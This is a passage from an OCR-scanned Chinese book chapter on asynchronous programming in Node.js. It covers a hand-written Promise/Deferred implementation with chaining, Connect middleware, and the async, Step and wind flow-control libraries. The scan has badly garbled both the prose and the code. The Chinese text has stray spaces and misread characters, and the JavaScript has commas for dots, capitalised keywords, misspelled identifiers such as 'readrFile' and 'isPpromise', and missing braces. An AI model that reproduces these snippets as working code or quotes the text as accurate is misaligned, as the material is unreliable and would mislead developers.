fs.readFile(file, encoding, deferred.makeNodeResolver()); 


return deferred.promise; 


}; 


定义 之 后 的 调用 示例 如 下 : 


readFile("foo.txt", "utf-8").then(function (data) { 
// Success case 

}, function (err) { 
// Failed case 


}); 


Promise 通 过 封装 异步 调用 ， 实 现 了 正 向 用 例 和 反 向 用 例 的 分 离 
以 及 逻辑 处 理 延迟 ， 这 使 得 回调 函数 相对 优雅 。 

前 面 分 析 了 Q 对 Node 异 步 回 调 的 处 理 。 事 实 上 ， 异 步 编程 中 需要 
花费 很 多 精力 进行 异常 的 判断 和 处 理 ， 为 了 分 离异 常 和 正常 情 
况 ， 我 写 了 一 个 模块 wenedua 用 于 处 理 nakeNodekesolver 相 似 的 事情 © 在 
下 面 的 调用 示例 中 可 以 看 到 ， 正 常 结果 和 异常 结果 被 分 离 到 两 
个 函数 中 : 


var failing = require('memeda').failing; 


fs.readFile(file, encoding, failing(function (err) { 
// TODO 

}).passing(function (data) { 
// TODO 

})); 


我 们 可 以 对 Q 和 meneda 模 块 略 做 比较 。 两 者 相似 之 处 在 于 分 离 逻 
辑 ， 使 开发 者 侧重 关注 正常 情况 。 不 同 之 处 在 于 Q 通 过 promise() 可 
以 实现 延迟 处 理 ， 以 及 通过 多 次 调用 then() 附 加 更 多 结果 处 理 逻 
辑 。 可 以 看 到 ，Promise 需 要 封装 ， 但 是 强大 ， 具 备 很 强 的 侵入 
性 ;纯粹 的 函数 则 较为 轻 量 ， 但 功能 相对 弱小 。 

Promise 中 的 多 异步 协作 

在 Promise 的 介绍 中 说 过 ， 主 要 解决 的 是 单个 异步 操作 中 存在 的 
问题 。 回 到 我 们 的 难点 ， 当 我 们 需要 处 理 多 个 异步 调用 时 ， 又 
该 如 何 处 理 呢 ? 

| my 这 里 给 出 了 一 个 简单 的 原型 实现 ， 相 关 代 码 如 


Deferred.prototype.all = function (promises) { 
var count = promises.length; 
var that = this; 


var results = []; 
promises.forEach(function (promise, i) { 
promise.then(function (data) { 


count--; 
results[i] = data; 
if (count === 0 


that.resolve(results); 


}, function (err) { 
that.reject(err); 


}); 
return this.promise,; 
}; 
对 于 多 次 文件 的 读 取 场 景 ， 以 下 面 的 代码 为 例 ，a110) 方 法 将 两 个 
单独 的 Promise 重 新 抽象 组 合成 一 个 新 的 Promise: 


var promise1 = readFile("foo.txt", "utf-8"); 

var promise2 = readFile("bar.txt", "utf-8"); 

var deferred = new Deferred(); 

deferred.all([promise1, promise2]).then(function (results) { 
// TODO 

}, function (err) { 
// TODO 

}); 


这 里 通过 a11() 方 法 抽象 多 个 异步 操作 。 只 有 所 有 异步 操作 成 功 ， 
这 个 异步 操作 才 算 成 功 ， 一旦 其 中 一 个 异步 操作 失败 ， 整 个 异 
步 操 作 就 失败 。 

本 节 的 代码 主要 用 于 描述 Promise 的 原理 ， 在 成 熟 度 上 并 未 如 
when 和 Q 模 块 。 在 实际 的 应 用 中 ， 可 以 通过 NPM 安 装 这 两 个 模 
块 ， 它 们 是 完整 的 Promise 提 议 的 实现 。 

Promise 的 进 阶 知识 


在 API 的 暴露 上 ，Promise 模 式 比 原始 的 事件 侦 听 和 触发 略为 优 
美 ， 它 的 缺陷 则 是 需要 为 不 同 的 场景 封装 不 同 的 API， 没 有 直接 
的 原生 事件 那么 灵活 。 但 对 于 经 典 的 场景 ， 封 装 出 API 的 成 本 也 
并 不 高 ， 值 得 一 做 。 

Promise 的 秘诀 其 实在 于 对 队列 的 操作 。 这 里 介绍 一 个 实际 的 案 
例 ， 我 在 处 理 上 自动 化 测试 时 ， 要 跟 远 程 服 务 器 之 间 进 行 多 次 指 
令 发 送 ， 这 些 指令 是 按 顺 序 依次 进行 的 。 在 Node 中 ， 网 络 库 是 
完全 异步 的 ， 无 法 在 编程 层面 实现 像 其 他 语言 那 般 的 同步 调 
用 。 由 于 网 站 界面 通常 都 是 由 前 端 工 程 师 完成 的 ， 用 JavaScript 
编写 自动 化 测试 可 以 减轻 他 们 切换 环境 的 痛苦 ， 所 以 不 能 因为 
无 法 同步 调用 就 放弃 挤 Node。 解 决 同步 调用 问题 的 答案 也 就 是 
采用 Deferred 模 式 。 


人 为 了 完成 一 吝 事 情 ， 我 们 的 代码 大 致 
中: 


obj.api1i(function (value1) { 
obj.api2(value1, function (value2) { 
obj.api3(value2, function (value3) { 
obj.api4(value3, function (value4) { 
callback(value4); 
}); 


由 于 有 按 每 个 步骤 依次 执行 的 需求 ， 所 以 必须 租 套 执行 。 但 那 
样 我 们 会 得 到 难看 的 骸 套 ， 超 过 10 个 连续 骸 套 就 会 让 代码 十 分 
难看 。 于 是 我 们 得 到 了 “Pyramid of Doom”， 译 为 中 文 ， 是 谓 “ 恶 
魔 金字 塔 ”。 相 信 初 入 Node 世 界 的 人 ， 也 写 过 不 少 此 类 代码 。 

下 面 我 们 通过 普通 的 函数 将 上 面 的 代码 尝试 展开 : 


var handler1 = function (Value1) { 
obj.api2(valuei1, handler2); 


var handler2 = function (value2) { 
obj.api3(value2, handler3); 


var handler3 = function (value3) { 
obj.api4(value3, hander4); 


var handler4 = function (value4) { 
callback(value4); 
}); 


obj.api1i(handler1); 


对 于 喜欢 利用 事件 的 开发 者 ， 我 们 展开 后 的 代码 又 将 会 是 怎样 
的 情况 呢 ? 具体 如 下 所 示 : 


Var emitter = new event.Emitter(); 


emitter.on("step1i", function () { 
obj.api1i(function (value1) { 
emitter.emit("step2", valuel1); 
}); 
}); 


emitter.on("step2", function (value1) { 
obj.api2(value1, function (value2) { 
emitter.emit("step3", value2); 
}); 
}); 


emitter.on("step3", function (value2) { 
obj.api3(value2, function (value3) { 
emitter.emit("step4", value3); 
}); 
}); 


emitter.on("step4", function (value3) { 
obj.api4(value3, function (value4) { 


callback(value4); 
}); 
}); 


emitter.emit("step1"); 


利用 事件 展开 后 0 与 纯粹 峰 套 相 比 ， 
代码 量 明显 增 加 了 ， 这 显然 不 会 市 来 民 好 的 编程 体验 。 为 此 ， 
我 们 需要 一 种 更 好 的 方 吉 。 


的 Promise 


理想 的 编程 体验 应 当 是 前 一 个 的 调用 结 琳 作 为 下 一 个 调用 
的 开始 ， 是 传说 中 的 链 式 调用 ， 相 关 代 码 如 下 : 


promise() 

.then(obj.api1) 
.then(obj.api2) 
.then(obj.api3) 
.then(obj.api4) 
.then(function (value4) { 

// Do something with value4 
}, function (error) { 

// Handle any error from step1 through step4 
}) 
.done( ); 


尝试 改造 一 下 代码 以 实现 链 式 调用 ， 具 体 如 下 所 示 : 


var Deferred = function () { 
this.promise = new Promise(); 


}; 


// 完成 态 
Deferred,prototype,resolve = function (obj) { 
var promise = this.promise; 
var handler; 
while ((handler = promise.queue.shift())) { 
If (handler && handler.fulfilled) { 
var ret = handler.fulfilled(obj); 
If (ret && ret.isPpromise) { 
ret.queue = promise.queue; 
this,promise = ret; 
return; 


} 
} 
}; 


// 失败 态 
Deferred,.prototype.reject = function (err) { 
var promise = this.promise; 
var handler; 
while ((handler = promise.queue.shift())) { 
If (handler && handler.error) { 
var ret = handler.error(err); 
If (ret && ret.isPpromise) { 
ret.queue = promise.queue; 
this,promise = ret; 
return; 


} 


} 
} 
}; 


// 生成 回调 画 数 
Deferred,prototype,callback = function () { 
var that = this; 
return function (err, file) { 
if (err) { 
return that.reject(err); 


} 
that.resolve(file); 


}; 
}; 


var Promise = function () { 
// 队列 用 于 存储 待 执 行 的 回调 函数 
this.queue = []; 
this.isPpromise = true; 


}; 


Promise.prototype.then = function (fulfilledHandler, errorHandler, progr 
essHandler) { 
var handler = {}; 
If (typeof fulfilledHandler === 'function') { 
handler .fulfilled = fulfilledHandler; 


If (typeof errorHandler === 'function') { 
handler .error = errorHandler; 
上 


this.queue.push(handler); 
return this; 


}; 


这 里 我 们 以 两 次 文件 读 取 作 为 例子 ， 以 验证 该 设计 的 可 行 
性 。 这 里 假设 读 取 第 二 个 文件 是 依赖 于 第 一 个 文件 中 的 内 
容 的 ， 相 关 代 码 如 下 : 


var readFile1 = function (file, encoding) { 
var deferred = new Deferred() ; 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise,; 

}; 

var readFile2 = function (file, encoding) { 
var deferred = new Deferred!(); 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise; 


}; 


readFile1i('filel1.txt', 'utf8').then(function (file1) { 
return readFile2(filel1.trim(), 'utf8'); 
}).then(function (file2) { 
console.log(file2); 


}); 
将 这 段 代码 存 为 Sequence.js 文 件 。 执 行 该 代码 ， 将 会 得 到 以 
下 的 输出 结 


$ node sequence.js 
I am file2 


1. 


要 让 Promise 支 持 链 式 执行 ， 主 要 通过 以 下 两 个 步骤 。 
将 所 有 的 回调 都 存 到 队列 中 。 
Promise 完 成 时 ， 逐 个 执行 同人， 一 旦 检测 到 返回 了 新 
的 Promise 对 象 ， 停 止 执行 ， 然 后 将 当前 Deferred 对 象 的 


Bh 并 将 队列 中 余下 的 
回调 转交 给 它 。 


写 到 这 里 ， 你 是 否 明 了 恶魔 金字 塔 该 如 何 优 化 ? 


再 次 重申 ， 这 里 的 代码 主要 用 于 人 研究 Promise 的 实现 原理 。 
在 更 多 细节 的 优化 方面 ，Q 或 者 when 等 Promise 库 做 得 更 
好 ， 实 际 应 用 时 请 采用 这 些 成 熟 库 。 


将 API Promise 化 


这 里 仍然 会 发 现 ， 为 了 体验 更 好 的 API， 需 要 做 较 多 的 准备 
工作 。 这 里 揽 供 了 一 个 方法 可 以 批量 将 方法 Promise 化 ， 相 
天 代码 如 下 : 


// smooth(fs.readFile); 
var smooth = function (method) { 
return function () { 
var deferred = new Deferred() ; 
var args = Array.prototype.slice.call(arguments, 0); 
args.push(deferred.callback()); 
method.apply(null, args); 
return deferred.promise; 
和 
}; 


于 是 前 面 的 两 次 文件 读 取 的 构造 : 


var readFile1 = function (file, encoding) { 
var deferred = new Deferred!(); 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise; 


var readFile2 = function (file, encoding) { 
var deferred = new Deferred(); 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise; 


学 


可 以 简化 为 : 


var readFile = smooth(fs.readrFile); 


要 实现 同样 的 效果 ， 代 码 量 将 会 锐 减 到 : 


var readFile = smooth(fs.readrFile); 
readFile('filei1.txt', 'utf8').then(function (file1) { 
return readFile(filel1.trim(), 'utf8'"); 
}).then(function (file2) { 
// file2 => I am file2 


console.log(file2); 


4.3.3 ”流程 控制 库 


前 面 氢 述 了 最 为 主流 的 模式 


事件 发 布 /订阅 模式 和 Promise/Deferred 模 


式 ， 这 些 是 经 典 的 模式 或 者 是 写 进 规范 里 的 解决 方案 ， 但 一 旦 涉及 模式 
或 者 规范 ， 就 需要 为 它们 做 较 多 的 准备 工作 。 这 一 市 将 会 介绍 一 些 非 模 
式 化 的 应 用 ， 虽 非 规范 ， 但 更 灵活 。 


1. 


尾 触发 与 Next 

除了 事件 和 Promise 外 ， 还 有 一 类 方法 是 需要 手工 调用 才能 持续 
执行 后 续 调 用 的 ， 我 们 将 此 类 方法 叫做 尾 触 发 ， 和 常见 的 关键 词 
en 。 事 实 上 ， 尾 触发 目前 应 用 最 多 的 地 方 是 Connect 的 中 间 


这 里 我 们 暂且 不 关注 Connect 的 具体 应 用 ， 先 看 一 下 Connect 的 
API 暴 露 方式 ， 相 关 代 码 如 下 : 


var app = connect(); 

// Middleware 

app.use(connect.staticCache( )); 
app.use(connect.static(__dirname + '/public')); 
app,use(connect ,cookieParser() )， 
app.use(connect.session()); 
app.use(connect.query()); 
app.use(connect.bodyParser()); 
app.use(connect.csrf()); 

app.1listen(3001); 


在 通过 use() 方 法 注册 好 一 系列 中 间 件 后 ， 监 听 端 口上 的 请 求 。 中 
间 件 利用 了 尾 触发 的 机 制 ， 最 简单 的 中 间 件 如 下 : 


function (req, res, next) { 
// 中 间 件 


} 


每 个 中 间 件 传递 请 求 对 象 、 啊 应 对 象 和 尾 触发 函数 ， 通 过 队列 
形成 一 个 处 理 流 ， 如 图 4-7 所 示 。 


中 间 件 中 间 件 


request request 
1 
入 


response response 


图 4-7 中 间 件 通过 队列 形成 一 个 处 理 流 


中 间 件 机 制 使 得 在 处 理 网 络 请 求 时 ， 可 以 像 面向 切面 编程 一 样 
进行 过 滤 、 验 证 、 日 志 等 功能 ， 而 不 与 具体 业务 逻辑 产生 关 


联 ， 以 致 产生 耦合 。 
下 面 我 们 来 看 Connect 的 核心 实现 ， 相 关 代 码 如 下 : 


function createServer() { 
function app(req, res){ app.handle(req, res); } 
utils.merge(app, proto); 
utils.merge(app, EventEmitter.prototype); 
app.route = '/'; 
app.stack = []; 
for (var i = 0; i < arguments.length; ++i) { 

app.use(arguments[i]); 


return app; 
}; 
UT 下 代码 创建 了 HTTP 服 务 器 的 request 事 件 处 理 函 


function app(req, res){ app.handle(req, res); } 


但 真正 的 核心 代码 是 app.stack = []; 这 人 铝 。 stack 属 性 是 这 个 服务 器 
内 部 维护 的 中 间 件 队列 。 通 过 调用 use0 方 法 我 们 可 以 将 中 间 件 放 
进 队 列 中 。 下 面 的 代码 为 use() 方 法 的 重要 部 分 : 


app.use = function(route, fn){ 
// some code 
this,.stack.push({ route: route, handle: fn }); 


return this; 


}; 


此 时 就 建 好 处 理 模 型 了 。 接 下 来 ， 结 合 Node 原 生 nttp 模 块 实现 监 
昕 即 可 。 监 听 画 数 的 实现 如 下 : 


app.listen = function(){ 
var server = http.createServer(this); 
return server.listen.apply(server, arguments); 


最 终 回 到 app.nandle() 方 法 ， 每 一 个 监听 到 的 网 络 请 求 都 将 从 这 里 
开始 处 理 。 该 方法 的 代码 如 下 : 


app.handle = function(req, res, out) { 
// some code 
next(); 


原始 的 next(0) 方 法 较为 复杂 ， 下 面 是 简化 后 的 内 容 ， 其 原理 十 分 
简单 ， 取 出 队列 中 的 中 间 件 并 执行 ， 同 时 传 入 当前 方法 以 实现 
递归 调用 ， 达 到 持续 触发 的 目的 : 


function next(err) { 
// some code 
// next callback 
layer = stack[index++]; 


layer.handle(req, res, next); 


所 有 嫌 异 步 编 程 复杂 的 开发 者 均 可 以 参考 Connect 的 流 式 处 理 ， 
这 对 于 划分 业务 逻辑 、 逐 步 处 理 均 有 效 。 

值得 提醒 的 是 ， 尽 管 中 间 件 这 种 尾 触 发 模式 并 不 要 求 每 个 中 间 
方法 都 是 异步 的 ， 但 是 如 采 每 个 步骤 都 采用 异步 来 完成 ， 实 际 
上 上 只 是 串 行 化 的 处 理 ， 没 办 法 通过 并 行 的 异步 调用 来 提升 业务 
的 处 理 效 率 。 流 式 处 理 可 以 将 一 些 串 行 的 逻辑 局 平 化 ， 但 是 并 
行 逻辑 处 理 还 是 需要 搭配 事件 或 者 Promise 完 成 的 ， 这 样 业务 在 
纵向 和 横向 都 能 够 各 目 清 晰 。 

在 Connect 中 ， 尾 触发 十 分 适合 处 理 网 络 请 求 的 场景 。 将 复杂 的 
处 理 逻 辑 拆 解 为 简洁 、 单 一 的 处 理 单元 ， 逐 层次 地 处 理 请 求 对 
象 和 响应 对 象 。 


async 
接 下 来 ， 我 们 要 介绍 最 知名 的 流程 控制 模块 async。async 长 期 占 
据 NPM 依 赖 榜 的 前 三 名 ， 可 见 在 Node 开 发 中 ， 流 程控 制 是 开发 
过 程 中 的 基本 需求 。async 模 块 提供 了 20 多 个 方法 用 于 处 理 异步 
的 各 种 协作 模式 ， 这 里 我 们 介绍 几 种 典型 用 法 。 
异步 的 品行 执行 
这 里 我 们 依旧 采用 前 面 读 取 两 个 文件 的 例子 ， 看 一 下 async 
是 如 何 解 决 “恶魔 金字 塔 * 问 题 的 。 
async 提 供 了 series() 方 法 来 实现 一 组 任务 的 串 行 执行 ， 示 例 
代码 如 下 : 


async.series([ 
function (callback) { 
fs.readFile('filel1.txt', 'utf-8', callback); 


function (callback) { 
fs.readFile('file2.txt', 'utf-8', callback); 


], function (err, results 
// results => [filel1.txt, file2.txt] 
}); 


~ E 导 人 答 价 
这 段 代 码 等 价 于 : 
fs.readFile('file1.txt', 'utf-8', function (err, content) { 
if (err) { 
return callback(err); 
} 
fs.readFile('file2.txt', 'utf-8', function (err, data) { 
If (err) 
return callback(err); 


让 
callback(null, [content, datal]); 


}); 
}); 


这 段 代 码 值得 玩味 的 是 回调 函数 。 可 以 发 现 ，series() 方 法 中 
传 入 的 函数 caiibackO0 并 非 由 使 用 者 指定 。 事 实 上 ， 此 处 的 回 
调 范 数 由 async 通 过 高 阶 函 数 的 方式 注入 ， 这 里 隐 仿 了 特殊 
的 逻辑 。 每 个 callback() 执 行 时 会 将 结果 保存 起 来 ， 然 后 执行 
下 一 个 调用 ， 直 到 结束 所 有 调用 。 最 终 的 回调 函数 执行 
时 ， 队 列 里 的 异步 调用 保存 的 结果 以 数组 的 方式 传 入 。 这 
里 的 异常 处 理 规则 是 一 旦 出 现 异 常 ， 就 结束 所 有 调用 ， 并 
将 异常 传递 给 最 终 回调 函数 的 第 一 个 参数 。 
异步 的 并 行 执行 

当 我 们 需要 通过 并 行 来 提升 性 能 时 ，async 提 供 了 parallel() 方 
法 ， 用 以 并 行 执行 一 些 异 步 操作 。 以 下 为 读 取 两 个 文件 的 


async.parallel([ 
function (callback) { 
fs.readFile('filel1.txt', 'utf-8', callback); 


}, 
function (callback) { 
fs.readFile('file2.txt', 'utf-8', callback); 


], function (err, results) 
// results => [filel1.txt, file2.txt] 
}); 


上 面 这 段 代 码 等 价 于 下 面 的 代码 : 


var counter = 2;，; 

var results = [1]; 

var done = function (index, value) { 
results[index] = value; 
counter--; 
if (counter === ©0) { 

callback(null, results); 
}; 


// 只 传递 第 一 个 异常 
var hasErr = false; 
var fail = function (err) { 
if (!hasErr) { 
hasErr = true; 
callback(err); 


} 
}; 
fs.readFile('file1.txt', 'utf-8', function (err, content) { 
if (err) { 
return fail(err); 


done(0, content); 


}); 
fs.readFile('file2.txt', 'utf-8', function (err, data) { 


if (err) { 
return fail(err); 


} 
done(1, data); 
}); 


同样 ， 通过 async 编 写 的 代码 既 没 有 深度 的 嵌 套 ， 也 没有 复 
杂 的 状态 判断 ， 它 的 诀窍 依然 来 和 目 于 注入 的 回调 函数 。 
paralle1() 方 法 对 于 异常 的 判断 依然 是 一 0 i 
了 异常 ， 就 会 将 异常 作为 第 一 个 参数 传 入 给 最 终 的 回调 函 
数 。 只 有 所 有 异步 调用 都 正常 完成 时 ， 才 会 将 结果 以 数组 
的 方式 传 入 。 

也 许 你 还 记得 EventProxy 的 方案 ， 如 下 所 示 : 


var EventProxy = require('eventproxy'); 


var proxy = new EventProxy(); 
proxy.all('content', 'data', function (content, data) { 
callback(null, [content, datal]); 


}) 
proxy.fail(callback); 


fs.readFile('filel1.txt', 'utf-8', proxy.done('content')); 
fs.readFile('file2.txt', 'utf-8', proxy.done('data')); 


与 通过 async 编 写 所 产生 的 代码 量 相 差 并 不 大 。EventProxy 
虽然 基于 事件 发 布 /订阅 模式 而 设计 ， 但 也 用 到 了 与 async 相 
同 的 原理 ， 通 过 特殊 的 回调 函数 来 隐 含 返回 值 的 处 理 。 所 
不 同 的 十 ， 在 async 的 框架 模式 下 ， 这 个 回调 函数 由 async 封 
闭 后 传递 出 来 ， 而 EventProxy 则 通过 aone0 和 fail0) 方 法 来 生 
成 新 的 回调 函数 。 这 两 种 实现 方式 都 是 高 阶 函 数 的 应 用 。 
异步 调用 的 依赖 处 理 
series() 适 合 无 依赖 的 异步 串 行 执行 ， 但 当前 一 个 的 结果 是 后 
一 个 凋 用 的 输入 时 ， _series0 广 法 瑰 无 法 满足 秆 求 了 。 所 笠 ， 
这 种 典型 场景 的 需求 ，async 提 供 了 waterfall(0) 方 法 来 满足 ， 
相关 代码 如 下 : 


async.waterfall([ 
function (callback) { 
fs.readFile('filel1.txt', 'utf-8', function (err, content) { 
callback(err, content); 
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function (arg1, callback) { 
// arg1 => file2.txt 
fs.readFile(argi, 'utf-8', function (err, content) { 
callback(err, content); 


}); 


function(arg1, callback){ 
// arg1 => file3.txt 


CH 


fs.readFile(argi, 'utf-8', function (err, content) { 
callback(err, content); 


}); 


], function (err, result) { 
// result => file4.txt 


}); 


这 段 代码 等 价 于 如 下 代码 : 


fs.readFile('file1.txt', ‘'utf-8', function (err, data1i) { 
if (err) { 
return callback(err); 


} 
fs.readFile(data1i, 'utf-8', function (err, data2) { 
If (err) { 
return callback(err); 


} 
fs.readFile(data2, 'utf-8', function (err, data3) { 
if (err) 
return callback(err); 


} 
callback(null, data3); 


了 


}); 
}); 


自动 依赖 处 理 
在 现实 的 业务 环境 中 ， 具 有 很 多 复杂 的 依赖 关系 ， 这 些 业 
务 或 是 异步 ， 或 是 同步 。 这 种 混杂 的 编程 环境 经 常 让 人 处 
于 理 不 清 顺 序 的 情况 。 为 此 ，async 提 供 了 一 个 强大 的 方法 
auto() 实 现 复杂 业务 处 理 。 
假设 我 们 的 业务 场景 如 下 : 

从 人 磁盘 读 取 配 置 文件 。 

根据 配置 文件 连接 MongoDB 。 

根据 配置 文件 连接 Redis 。 

编译 静态 文件 。 

上 传 静态 文件 到 CDN 。 

启动 服务 器 。 
简单 映射 一 下 上 述 业 务 : 


readconfig: function () {0}, 
connectMongoDB: function () {}, 
connectRedis: function () {€}, 
complieAsserts: function () {}, 
uploadAsserts: function () 人}, 
startup: function () 全 


接 下 来 分 析 一 下 依赖 关系 ? 可 以 看 出 connectMongoDB 和 
connectRedis 依 颊 | readConfig ， uploadAsserts 依 束 % complieAsserts ， 


startup 则 依赖 所 有 完成 。 依 赖 天 系 如 下 : 


var deps = { 
readconfig: function (callback) { 
// read config file 
callback(); 
}, 
connectMongoDB: ['readConfig', function (callback) { 
// connect to mongodb 
callback(); 
}], 
connectRedis: ['readconfig', function (callback) { 
// connect to redis 
callback( ); 
}], 
complieAsserts: function (callback) { 
// complie asserts 
callback( ); 
}, 
uploadAsserts: ['complieAsserts', function (callback) { 
// upload to assert 
callback( ); 
}], 
startup: ['connectMongoDB', 'connectRedis', 'uploadAsserts', function 
(callback) { 
// startup 
}] 
}; 


auto() 方 法 能 根据 依赖 关系 自动 分 析 ， 以 最 佳 的 顺序 执行 以 
上 业务 : 


async.auto(deps); 


转换 到 Eventproxy 的 实现 ， 则 需要 更 细腻 的 事件 分 配 ， 相 关 代 
码 如 下 : 


proxy.asap('readtheconfig', function () { 
// read config file 
proxy.emit('readconfig'); 
}).on('readconfig', function () { 
// connect to mongodb 
proxy.emit('connectMongoDB'); 
}).on('readconfig', function () { 
// connect to redis 
proxy.emit('connectRedis'); 
}).assp('complietheasserts', function () { 
// complie asserts 
proxy.emit('complieAsserts'); 
}).on('complieAsserts', function () { 
// Upload to assert 
proxy.emit('uploadAsserts'); 
}).all('connectMongoDB', 'connectRedis', 'uploadAsserts', function () { 
// Startup 


}); 
小 结 


本 慷 主 要 介绍 async 的 儿 种 常见 用 法 。 此 外 ，async 还 提供 了 
forEach 、 map 等 类 ECMAScript5 中 数组 的 方法 ， 更 多 细 广 可 关 
六 https:/github.com/caolan/async 。 


Step 


另 一 个 知名 的 流程 控制 库 是 Tim Caswell 的 Step， 它 比 async 更 轻 
量 ， 在 API 的 暴露 上 也 更 具备 一 致 性 ， 因 为 它 只 有 一 个 接口 
SteB ° 通过 npn install step 即 可 安装 使 用 示例 代码 如 下 : 


Step(task1i, task2, task3); 


Step 接 受 任意 数量 的 任务 ， 所 有 的 任务 都 将 会 串 行 依次 执行 。 下 
面 的 示例 代码 将 依次 读 取 文件 : 


Step( 
function readFile1() { 
fs.readFiIle( 'filel.txt'， "utf-8'，this)， 


function readFile2(err, content) { 
fs.readFile('file2.txt', 'utf-8', this); 


function done(err, content) { 
console.log(content); 
} 
); 
可 以 看 到 ，Step 与 前 面 介绍 的 事件 模式 、Promise 甚 至 async 都 不 
同 的 一 点 在 于 Step 用 到 了 this 关键 字 。 事 实 上 ， 它 是 Step 内 部 的 
一 个 next0 方 法 ， 将 异步 调用 的 结果 传递 给 下 一 个 任务 作为 参 
数 ， 并 调用 执行 。 
并 行 任务 执行 
那么 ，Step 如 何 实现 多 个 异步 任务 并 行 执行 呢 ? tnis 具 有 一 
个 parallel0) 方 法 ， 它 告诉 Step， 需 要 等 所 有 任务 完成 时 才 进 
行 下 二 个 任务 ,相关 人 但 如 下 : 


Step( 
function readFilel1() { 
fs.readFile('filel1.txt', 'utf-8', this,.parallel()); 
fs.readFile('file2.txt', 'utf-8', this.parallel()); 


function done(err, content1, content2) { 
// content1 => filel1 
// content2 => file2 
console.1log(arguments); 


); 
使 用 paralle1() 的 时 候 需 要 小 心 的 是 ， 如 果 异 步 方 法 的 结果 传 
R00 Step 将 只 会 取 前 两 个 参数 ， 相 关 代 码 如 


var asyncCall = function (callback) { 

process.nextTick(function () { 
callback(null, "result1'， 'result2"'); 
}); 
}; 


在 调用 paralie1() 上 时， result2 将 会 被 丢弃 

Step 的 paralle1() 方 法 的 原理 古 每 次 执行 时 将 内 部 的 计数 器 加 
1， 然 后 返回 一 个 回调 画 数 ， 这 个 回调 画 数 在 异步 调用 结束 
时 才 执 行 。 当 回调 钞 数 执行 时 ， 将 计数 器 减 1°。 当 计数 器 为 
0 的 时 候 ， 告 知 Step 所 有 异步 调用 结束 了 ，Step 会 执行 下 一 
Ts 

Step 与 async 相 同 的 是 异常 处 理 ， 一 旦 有 一 个 异常 产生 ， 这 
个 异常 会 作为 下 一 个 方法 的 第 一 个 参数 传 入 。 

结果 分 组 


Step 提 供 的 态 外 一 个 方法 是 eroup0)， 它 类 似 于 parallel0 的 效 
条 ， 但 是 在 结 采 传递 上 略 有 不 同 。 下 面 的 代码 用 于 读 取 一 
个 目录 ， 然 后 类 代 其 中 文件 的 操作 : 


Step( 
function readDir() { 
fs.readdir(__dirname, this); 


function readFiles(err, results) { 
If (err) throw err; 
// Create a new group 
var group = this.group(); 
results.forEach(function (filename) { 
if (/\.js$/.test(filename)) { 
fs,.readFile(__dirname + "/" + filename, 'utf8', group()); 
} 
}); 
function showAll(err, files) { 
if (err) throw err; 
console.dir(files); 


); 

我 们 注意 到 有 两 次 group() 的 调用 。 第 一 次 调用 是 告知 Step 要 
并 行 执 行 ， 第 二 次 调用 的 结果 将 会 生成 一 个 回调 函数 ， 而 
回调 函数 接受 的 返回 值 将 会 按 组 存储 。parallel0) 传 递 给 下 一 
个 任务 的 结果 是 如 下 形式 

function (err, result1, result2, ...); 


group() 传 递 的 结果 是 : 


function (err, results); 


这 个 辑 数 返回 的 数据 保存 在 数组 中 。 


wind 

这 里 还 要 介绍 一 种 思路 完全 不 同 的 异步 编程 方案 wind 
(https://github.com/JeffreyZhao/wind) 。 它 的 前 身 为 Jscex， 由 

内 知名 码 农 赵 动 完成 开发 。 它 为 JavaScript 语 言 提 供 了 一 个 

monadic 扩 展 ， 能 够 显著 提高 一 些 常见 场景 下 的 异步 编程 体验 。 

异步 编程 有 时 需要 面临 的 场景 非常 特殊 ， 下 面 我 们 由 一 个 冒 泡 

排序 来 了 解 wind 的 特殊 之 处 : 


var compare = function (x, y) { 
return x - y; 


var swap = function (a, i, j) { 
var t = a[il]; a[il] = a[j]; a[j] = t; 


var bubbleSort = function (array) { 
for (var i = 0; i < array.length; i++) { 
for (var j = 0; j < array.length - i - 1; j++) { 
If (compare(array[j], array[j + 1]) > 0) { 
swap(array, j, j + 1); 


} 
} 

}; 
现在 我 们 要 添加 的 需求 是 ， 将 这 个 冒 泡 排序 动画 起 来 。 这 意味 
着 在 swap() 方 法 中 需要 添加 动画 逻辑 ， 这 在 JavaScript 中 并 不 是 一 
件 难 事 ， 困 难 的 地 方 在 于 动画 需要 延 时 的 方式 完成 。 但 在 
JavaScript 中 只 有 setrineout(0) 能 够 实现 延 时 功能 (用 wile 判 断 时 间 
的 方式 不 可 取 ， 这 在 前 面 有 所 描述 ) 。 我 们 知道 ，setrineout(0) 征 
一 个 异步 方法 ， 在 执行 后 ， 将 立即 返回 。 所 以 ， 难 点 出 现在 : 

动画 执行 时 无 法 停止 排序 算法 的 执行 ; 

排序 算法 的 继续 执行 将 会 启动 更 多 动画 。 
因此 ， 逐 步骤 的 动画 将 难以 实现 ， 而 wind 在 解决 这 个 问题 上 体 
现 出 了 它 的 独特 魅力 之 处 ， 相 关 代码 如 下 : 


var compare = function (x, y) { 
return x - y; 


Var swapAsync = eval(Wind.compile("async", function (a, i, j) { 
$await (Wind.Async.sleep(20)); // 暂停 20 毫 秒 
var t = a[lil]; a[li] = a[j]; a[j] = t; 
paint(a); // 重 绘 数 组 


})); 


var bubbleSort = eval(Wind.compile("async", function (array) { 
for (var i = 0; i < array.length; i++) { 
for (var ] = 0; j < array.length - i - 1; j++) { 
If (compare(array[j], array[j + 1]) > 0) { 


$await(swapAsync(array, j, j + 1)); 
3 
} 


} 
上 ); 


上 述 代 码 实 现 了 暂停 20 毫 秒 、 绘 制 动 画 、 继 续 排 序 的 效果 。 从 
代码 的 角度 来 说 ， 这 里 虽然 介入 了 异步 方法 ， 但 是 并 没有 如 同 
其 他 异步 流程 控制 库 那 样 变 得 异步 化 ， 逻 辑 并 没有 因为 异步 被 
拆 分 。 同 时 可 以 注意 到 ， 我 们 的 代码 中 引入 了 一 些 新 的 东西 : 
eval(Wind.compile("async", function() {})); 
$await( ); 


Wind.Async.sleep(20); 

下 面 我 们 将 详细 介绍 以 上 3 行 代码 的 特异 之 处 。 
异步 任务 定义 
eval() 图 数 在 业界 一 癌 是 一 个 需要 齐 慎 对 竺 的 范 数 ，Douglas 
Crockford 更 是 深恶痛绝 地 将 其 称 为 魔 时 ， 因 为 它 能 访问 上 
下 文 和 编译 器 ， 可 能 导致 上 下 文 混 乱 。 大 多 数 利 用 seval0) 画 
数 的 人 都 不 能 把 握 好 它 的 用 法 ， 导 致 Douglas Crockford 认 为 
它 是 JavaScript 可 有 可 无 的 功能 。 
